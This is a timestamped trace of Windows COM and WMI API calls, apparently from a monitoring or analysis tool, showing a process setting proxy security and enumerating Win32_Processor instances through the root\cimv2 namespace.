	[0107.552] IUnknown:QueryInterface (in: This=0x72cffc, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e820 | out: ppvObject=0x6b5e820*=0x72cfdc) returned 0x0
	[0107.552] IClientSecurity:SetBlanket (This=0x72cfdc, pProxy=0x72cffc, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0107.552] IUnknown:Release (This=0x72cfdc) returned 0x3
	[0107.552] IUnknown:Release (This=0x72cffc) returned 0x2
	[0107.552] CoTaskMemFree (pv=0x5425000) 
	[0107.552] IUnknown:Release (This=0x72cffc) returned 0x1
	[0107.552] SysStringLen (param_1=0x0) returned 0x0
	[0107.552] CoGetContextToken (in: pToken=0x6b5e7e8 | out: pToken=0x6b5e7e8) returned 0x0
	[0107.552] CoGetContextToken (in: pToken=0x6b5e748 | out: pToken=0x6b5e748) returned 0x0
	[0107.552] IUnknown:QueryInterface (in: This=0x72cffc, riid=0x6b5e818*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x6b5e814 | out: ppvObject=0x6b5e814*=0x69c7ac4) returned 0x0
	[0107.564] IUnknown:AddRef (This=0x69c7ac4) returned 0x3
	[0107.564] IUnknown:Release (This=0x69c7ac4) returned 0x2
	[0107.564] CoGetContextToken (in: pToken=0x6b5e7a8 | out: pToken=0x6b5e7a8) returned 0x0
	[0107.564] IUnknown:AddRef (This=0x69c7ac4) returned 0x3
	[0107.565] IUnknown:QueryInterface (in: This=0x69c7ac4, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e830 | out: ppvObject=0x6b5e830*=0x72cfdc) returned 0x0
	[0107.565] IClientSecurity:QueryBlanket (in: This=0x72cfdc, pProxy=0x69c7ac4, pAuthnSvc=0x6b5e880, pAuthzSvc=0x6b5e87c, pServerPrincName=0x6b5e874, pAuthnLevel=0x6b5e878, pImpLevel=0x6b5e868, pAuthInfo=0x6b5e86c, pCapabilites=0x6b5e870 | out: pAuthnSvc=0x6b5e880*=0xa, pAuthzSvc=0x6b5e87c*=0x0, pServerPrincName=0x6b5e874, pAuthnLevel=0x6b5e878*=0x6, pImpLevel=0x6b5e868*=0x2, pAuthInfo=0x6b5e86c, pCapabilites=0x6b5e870*=0x1) returned 0x0
	[0107.565] IUnknown:Release (This=0x72cfdc) returned 0x3
	[0107.565] IUnknown:QueryInterface (in: This=0x69c7ac4, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e824 | out: ppvObject=0x6b5e824*=0x72cffc) returned 0x0
	[0107.565] IUnknown:QueryInterface (in: This=0x69c7ac4, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e820 | out: ppvObject=0x6b5e820*=0x72cfdc) returned 0x0
	[0107.565] IClientSecurity:SetBlanket (This=0x72cfdc, pProxy=0x69c7ac4, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0107.565] IUnknown:Release (This=0x72cfdc) returned 0x4
	[0107.565] IUnknown:Release (This=0x72cffc) returned 0x3
	[0107.565] CoTaskMemFree (pv=0x5425000) 
	[0107.565] IUnknown:Release (This=0x69c7ac4) returned 0x2
	[0107.565] SysStringLen (param_1=0x0) returned 0x0
	[0107.565] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69c6918, puCount=0x6b5e940 | out: puCount=0x6b5e940*=0x2) returned 0x0
	[0107.565] WbemDefPath:IWbemPath:GetText (in: This=0x69c6918, lFlags=4, puBuffLength=0x6b5e93c*=0x0, pszText=0x0 | out: puBuffLength=0x6b5e93c*=0xf, pszText=0x0) returned 0x0
	[0107.565] WbemDefPath:IWbemPath:GetText (in: This=0x69c6918, lFlags=4, puBuffLength=0x6b5e93c*=0xf, pszText="00000000000000" | out: puBuffLength=0x6b5e93c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0107.565] CoGetContextToken (in: pToken=0x6b5e5b0 | out: pToken=0x6b5e5b0) returned 0x0
	[0107.565] CoUnmarshalInterface (in: pStm=0x7181a8, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x6b5e5a0 | out: ppv=0x6b5e5a0*=0x72cffc) returned 0x0
	[0107.566] CoMarshalInterface (pStm=0x7181a8, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x72cffc, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0
	[0107.566] IUnknown:QueryInterface (in: This=0x72cffc, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e444 | out: ppvObject=0x6b5e444*=0x72cffc) returned 0x0
	[0107.566] IUnknown:Release (This=0x72cffc) returned 0x3
	[0107.566] IUnknown:Release (This=0x72cffc) returned 0x2
	[0107.566] CoGetContextToken (in: pToken=0x6b5e4f0 | out: pToken=0x6b5e4f0) returned 0x0
	[0107.566] IUnknown:AddRef (This=0x72cffc) returned 0x3
	[0107.566] IUnknown:QueryInterface (in: This=0x72cffc, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e7a8 | out: ppvObject=0x6b5e7a8*=0x72cfdc) returned 0x0
	[0107.566] IClientSecurity:QueryBlanket (in: This=0x72cfdc, pProxy=0x72cffc, pAuthnSvc=0x6b5e7f8, pAuthzSvc=0x6b5e7f4, pServerPrincName=0x6b5e7ec, pAuthnLevel=0x6b5e7f0, pImpLevel=0x6b5e7e0, pAuthInfo=0x6b5e7e4, pCapabilites=0x6b5e7e8 | out: pAuthnSvc=0x6b5e7f8*=0xa, pAuthzSvc=0x6b5e7f4*=0x0, pServerPrincName=0x6b5e7ec, pAuthnLevel=0x6b5e7f0*=0x6, pImpLevel=0x6b5e7e0*=0x3, pAuthInfo=0x6b5e7e4, pCapabilites=0x6b5e7e8*=0x20) returned 0x0
	[0107.566] IUnknown:Release (This=0x72cfdc) returned 0x3
	[0107.566] IUnknown:QueryInterface (in: This=0x72cffc, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e79c | out: ppvObject=0x6b5e79c*=0x72cffc) returned 0x0
	[0107.566] IUnknown:QueryInterface (in: This=0x72cffc, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e798 | out: ppvObject=0x6b5e798*=0x72cfdc) returned 0x0
	[0107.566] IClientSecurity:SetBlanket (This=0x72cfdc, pProxy=0x72cffc, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0107.566] IUnknown:Release (This=0x72cfdc) returned 0x4
	[0107.566] IUnknown:Release (This=0x72cffc) returned 0x3
	[0107.566] IUnknown:Release (This=0x72cffc) returned 0x2
	[0107.566] SysStringLen (param_1=0x0) returned 0x0
	[0107.567] CoGetContextToken (in: pToken=0x6b5e760 | out: pToken=0x6b5e760) returned 0x0
	[0107.567] IUnknown:AddRef (This=0x69c7ac4) returned 0x3
	[0107.567] IUnknown:Release (This=0x69c7ac4) returned 0x2
	[0107.567] CoGetContextToken (in: pToken=0x6b5e720 | out: pToken=0x6b5e720) returned 0x0
	[0107.567] IUnknown:AddRef (This=0x69c7ac4) returned 0x3
	[0107.567] IUnknown:QueryInterface (in: This=0x69c7ac4, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e7a8 | out: ppvObject=0x6b5e7a8*=0x72cfdc) returned 0x0
	[0107.567] IClientSecurity:QueryBlanket (in: This=0x72cfdc, pProxy=0x69c7ac4, pAuthnSvc=0x6b5e7f8, pAuthzSvc=0x6b5e7f4, pServerPrincName=0x6b5e7ec, pAuthnLevel=0x6b5e7f0, pImpLevel=0x6b5e7e0, pAuthInfo=0x6b5e7e4, pCapabilites=0x6b5e7e8 | out: pAuthnSvc=0x6b5e7f8*=0xa, pAuthzSvc=0x6b5e7f4*=0x0, pServerPrincName=0x6b5e7ec, pAuthnLevel=0x6b5e7f0*=0x6, pImpLevel=0x6b5e7e0*=0x3, pAuthInfo=0x6b5e7e4, pCapabilites=0x6b5e7e8*=0x20) returned 0x0
	[0107.567] IUnknown:Release (This=0x72cfdc) returned 0x3
	[0107.567] IUnknown:QueryInterface (in: This=0x69c7ac4, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e79c | out: ppvObject=0x6b5e79c*=0x72cffc) returned 0x0
	[0107.567] IUnknown:QueryInterface (in: This=0x69c7ac4, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e798 | out: ppvObject=0x6b5e798*=0x72cfdc) returned 0x0
	[0107.567] IClientSecurity:SetBlanket (This=0x72cfdc, pProxy=0x69c7ac4, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0107.567] IUnknown:Release (This=0x72cfdc) returned 0x4
	[0107.567] IUnknown:Release (This=0x72cffc) returned 0x3
	[0107.567] IUnknown:Release (This=0x69c7ac4) returned 0x2
	[0107.567] SysStringLen (param_1=0x0) returned 0x0
	[0107.567] WbemDefPath:IWbemPath:GetText (in: This=0x69c0428, lFlags=2, puBuffLength=0x6b5e944*=0x0, pszText=0x0 | out: puBuffLength=0x6b5e944*=0x10, pszText=0x0) returned 0x0
	[0107.567] WbemDefPath:IWbemPath:GetText (in: This=0x69c0428, lFlags=2, puBuffLength=0x6b5e944*=0x10, pszText="000000000000000" | out: puBuffLength=0x6b5e944*=0x10, pszText="win32_processor") returned 0x0
	[0107.575] IWbemServices:GetObject (in: This=0x69c7ac4, strObjectPath="win32_processor", lFlags=0, pCtx=0x0, ppObject=0x6b5e8f8*=0x0, ppCallResult=0x0 | out: ppObject=0x6b5e8f8*=0x69c6a28, ppCallResult=0x0) returned 0x0
	[0107.583] IWbemClassObject:Get (in: This=0x69c6a28, wszName="__PATH", lFlags=0, pVal=0x6b5e8e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x6b5e988*=0, plFlavor=0x6b5e984*=0 | out: pVal=0x6b5e8e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\YKYD69Q\\ROOT\\CIMV2:Win32_Processor", varVal2=0x0), pType=0x6b5e988*=8, plFlavor=0x6b5e984*=64) returned 0x0
	[0107.583] SysStringByteLen (bstr="\\\\YKYD69Q\\ROOT\\CIMV2:Win32_Processor") returned 0x48
	[0107.583] SysStringByteLen (bstr="\\\\YKYD69Q\\ROOT\\CIMV2:Win32_Processor") returned 0x48
	[0107.583] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x54c
	[0107.583] SetEvent (hEvent=0x480) returned 1
	[0107.583] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x6b5e89c*=0x54c, lpdwindex=0x6b5e6bc | out: lpdwindex=0x6b5e6bc) returned 0x0
	[0107.584] CoGetContextToken (in: pToken=0x6b5e768 | out: pToken=0x6b5e768) returned 0x0
	[0107.584] CoGetContextToken (in: pToken=0x6b5e6c8 | out: pToken=0x6b5e6c8) returned 0x0
	[0107.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c6c20, riid=0x6b5e798*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x6b5e794 | out: ppvObject=0x6b5e794*=0x69c6c20) returned 0x0
	[0107.584] WbemDefPath:IUnknown:AddRef (This=0x69c6c20) returned 0x3
	[0107.584] WbemDefPath:IUnknown:Release (This=0x69c6c20) returned 0x2
	[0107.584] WbemDefPath:IWbemPath:SetText (This=0x69c6c20, uMode=0x4, pszPath="\\\\YKYD69Q\\ROOT\\CIMV2:Win32_Processor") returned 0x0
	[0107.585] IWbemClassObject:Get (in: This=0x69c6a28, wszName="__CLASS", lFlags=0, pVal=0x6b5e950*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x6b5e9d0*=0, plFlavor=0x6b5e9cc*=0 | out: pVal=0x6b5e950*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Processor", varVal2=0x0), pType=0x6b5e9d0*=8, plFlavor=0x6b5e9cc*=64) returned 0x0
	[0107.585] SysStringByteLen (bstr="Win32_Processor") returned 0x1e
	[0107.585] SysStringByteLen (bstr="Win32_Processor") returned 0x1e
	[0107.585] CoGetContextToken (in: pToken=0x6b5e768 | out: pToken=0x6b5e768) returned 0x0
	[0107.585] IUnknown:AddRef (This=0x69c7ac4) returned 0x3
	[0107.585] IWbemServices:CreateInstanceEnum (in: This=0x69c7ac4, strFilter="Win32_Processor", lFlags=17, pCtx=0x0, ppEnum=0x6b5e94c | out: ppEnum=0x6b5e94c*=0x69c6e64) returned 0x0
	[0107.637] IUnknown:QueryInterface (in: This=0x69c6e64, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e7e0 | out: ppvObject=0x6b5e7e0*=0x69c6e68) returned 0x0
	[0107.637] IClientSecurity:QueryBlanket (in: This=0x69c6e68, pProxy=0x69c6e64, pAuthnSvc=0x6b5e830, pAuthzSvc=0x6b5e82c, pServerPrincName=0x6b5e824, pAuthnLevel=0x6b5e828, pImpLevel=0x6b5e818, pAuthInfo=0x6b5e81c, pCapabilites=0x6b5e820 | out: pAuthnSvc=0x6b5e830*=0xa, pAuthzSvc=0x6b5e82c*=0x0, pServerPrincName=0x6b5e824, pAuthnLevel=0x6b5e828*=0x6, pImpLevel=0x6b5e818*=0x2, pAuthInfo=0x6b5e81c, pCapabilites=0x6b5e820*=0x1) returned 0x0
	[0107.637] IUnknown:Release (This=0x69c6e68) returned 0x1
	[0107.637] IUnknown:QueryInterface (in: This=0x69c6e64, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e7d4 | out: ppvObject=0x6b5e7d4*=0x72ce1c) returned 0x0
	[0107.638] IUnknown:QueryInterface (in: This=0x69c6e64, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e7d0 | out: ppvObject=0x6b5e7d0*=0x69c6e68) returned 0x0
	[0107.638] IClientSecurity:SetBlanket (This=0x69c6e68, pProxy=0x69c6e64, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0107.644] IUnknown:Release (This=0x69c6e68) returned 0x2
	[0107.645] IUnknown:Release (This=0x72ce1c) returned 0x1
	[0107.645] CoTaskMemFree (pv=0x5425030) 
	[0107.645] IUnknown:QueryInterface (in: This=0x69c6e64, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e3c8 | out: ppvObject=0x6b5e3c8*=0x72ce1c) returned 0x0
	[0107.645] IUnknown:QueryInterface (in: This=0x72ce1c, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x6b5e384 | out: ppvObject=0x6b5e384*=0x0) returned 0x80004002
	[0107.666] IUnknown:QueryInterface (in: This=0x72ce1c, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x6b5e1a4 | out: ppvObject=0x6b5e1a4*=0x0) returned 0x80004002
	[0107.671] IUnknown:AddRef (This=0x72ce1c) returned 0x3
	[0107.671] IUnknown:QueryInterface (in: This=0x72ce1c, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x6b5dce4 | out: ppvObject=0x6b5dce4*=0x0) returned 0x80004002
	[0107.693] IUnknown:QueryInterface (in: This=0x72ce1c, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x6b5dc94 | out: ppvObject=0x6b5dc94*=0x0) returned 0x80004002
	[0107.694] IUnknown:QueryInterface (in: This=0x72ce1c, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5dca0 | out: ppvObject=0x6b5dca0*=0x72cd7c) returned 0x0
	[0107.695] IMarshal:GetUnmarshalClass (in: This=0x72cd7c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x6b5dca8 | out: pCid=0x6b5dca8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0107.695] IUnknown:Release (This=0x72cd7c) returned 0x3
	[0107.695] CoGetContextToken (in: pToken=0x6b5dd00 | out: pToken=0x6b5dd00) returned 0x0
	[0107.695] CoGetContextToken (in: pToken=0x6b5e108 | out: pToken=0x6b5e108) returned 0x0
	[0107.695] IUnknown:QueryInterface (in: This=0x72ce1c, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e198 | out: ppvObject=0x6b5e198*=0x72ce04) returned 0x0
	[0107.695] IRpcOptions:Query (in: This=0x72ce04, pPrx=0x72ce1c, dwProperty=2, pdwValue=0x6b5e1c0 | out: pdwValue=0x6b5e1c0) returned 0x80004002
	[0107.695] IUnknown:Release (This=0x72ce04) returned 0x3
	[0107.695] IUnknown:Release (This=0x72ce1c) returned 0x2
	[0107.695] CoGetContextToken (in: pToken=0x6b5e6d8 | out: pToken=0x6b5e6d8) returned 0x0
	[0107.695] CoGetContextToken (in: pToken=0x6b5e638 | out: pToken=0x6b5e638) returned 0x0
	[0107.695] IUnknown:QueryInterface (in: This=0x72ce1c, riid=0x6b5e708*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x6b5e704 | out: ppvObject=0x6b5e704*=0x69c6e64) returned 0x0
	[0107.695] IUnknown:AddRef (This=0x69c6e64) returned 0x4
	[0107.695] IUnknown:Release (This=0x69c6e64) returned 0x3
	[0107.695] IUnknown:Release (This=0x69c6e64) returned 0x2
	[0107.695] IUnknown:Release (This=0x69c7ac4) returned 0x2
	[0107.695] SysStringLen (param_1=0x0) returned 0x0
	[0107.695] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69c6918, puCount=0x6b5e988 | out: puCount=0x6b5e988*=0x2) returned 0x0
	[0107.695] WbemDefPath:IWbemPath:GetText (in: This=0x69c6918, lFlags=4, puBuffLength=0x6b5e984*=0x0, pszText=0x0 | out: puBuffLength=0x6b5e984*=0xf, pszText=0x0) returned 0x0
	[0107.695] WbemDefPath:IWbemPath:GetText (in: This=0x69c6918, lFlags=4, puBuffLength=0x6b5e984*=0xf, pszText="00000000000000" | out: puBuffLength=0x6b5e984*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0107.695] CoGetContextToken (in: pToken=0x6b5e7c8 | out: pToken=0x6b5e7c8) returned 0x0
	[0107.695] IUnknown:AddRef (This=0x69c6e64) returned 0x3
	[0107.695] IEnumWbemClassObject:Clone (in: This=0x69c6e64, ppEnum=0x6b5e988 | out: ppEnum=0x6b5e988*=0x69c6f2c) returned 0x0
	[0107.698] IUnknown:QueryInterface (in: This=0x69c6f2c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e84c | out: ppvObject=0x6b5e84c*=0x69c6f30) returned 0x0
	[0107.698] IClientSecurity:QueryBlanket (in: This=0x69c6f30, pProxy=0x69c6f2c, pAuthnSvc=0x6b5e89c, pAuthzSvc=0x6b5e898, pServerPrincName=0x6b5e890, pAuthnLevel=0x6b5e894, pImpLevel=0x6b5e884, pAuthInfo=0x6b5e888, pCapabilites=0x6b5e88c | out: pAuthnSvc=0x6b5e89c*=0xa, pAuthzSvc=0x6b5e898*=0x0, pServerPrincName=0x6b5e890, pAuthnLevel=0x6b5e894*=0x6, pImpLevel=0x6b5e884*=0x2, pAuthInfo=0x6b5e888, pCapabilites=0x6b5e88c*=0x1) returned 0x0
	[0107.698] IUnknown:Release (This=0x69c6f30) returned 0x1
	[0107.698] IUnknown:QueryInterface (in: This=0x69c6f2c, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e840 | out: ppvObject=0x6b5e840*=0x72d68c) returned 0x0
	[0107.698] IUnknown:QueryInterface (in: This=0x69c6f2c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e83c | out: ppvObject=0x6b5e83c*=0x69c6f30) returned 0x0
	[0107.698] IClientSecurity:SetBlanket (This=0x69c6f30, pProxy=0x69c6f2c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0107.708] IUnknown:Release (This=0x69c6f30) returned 0x2
	[0107.708] IUnknown:Release (This=0x72d68c) returned 0x1
	[0107.708] CoTaskMemFree (pv=0x5425030) 
	[0107.708] IUnknown:QueryInterface (in: This=0x69c6f2c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e428 | out: ppvObject=0x6b5e428*=0x72d68c) returned 0x0
	[0107.708] IUnknown:QueryInterface (in: This=0x72d68c, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x6b5e3e4 | out: ppvObject=0x6b5e3e4*=0x0) returned 0x80004002
	[0107.712] IUnknown:QueryInterface (in: This=0x72d68c, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x6b5e204 | out: ppvObject=0x6b5e204*=0x0) returned 0x80004002
	[0107.716] IUnknown:AddRef (This=0x72d68c) returned 0x3
	[0107.716] IUnknown:QueryInterface (in: This=0x72d68c, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x6b5dd44 | out: ppvObject=0x6b5dd44*=0x0) returned 0x80004002
	[0107.725] IUnknown:QueryInterface (in: This=0x72d68c, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x6b5dcf4 | out: ppvObject=0x6b5dcf4*=0x0) returned 0x80004002
	[0107.832] IUnknown:QueryInterface (in: This=0x72d68c, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5dd00 | out: ppvObject=0x6b5dd00*=0x72d5ec) returned 0x0
	[0107.832] IMarshal:GetUnmarshalClass (in: This=0x72d5ec, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x6b5dd08 | out: pCid=0x6b5dd08*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0107.832] IUnknown:Release (This=0x72d5ec) returned 0x3
	[0107.832] CoGetContextToken (in: pToken=0x6b5dd60 | out: pToken=0x6b5dd60) returned 0x0
	[0107.832] CoGetContextToken (in: pToken=0x6b5e168 | out: pToken=0x6b5e168) returned 0x0
	[0107.832] IUnknown:QueryInterface (in: This=0x72d68c, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e1f8 | out: ppvObject=0x6b5e1f8*=0x72d674) returned 0x0
	[0107.832] IRpcOptions:Query (in: This=0x72d674, pPrx=0x72d68c, dwProperty=2, pdwValue=0x6b5e220 | out: pdwValue=0x6b5e220) returned 0x80004002
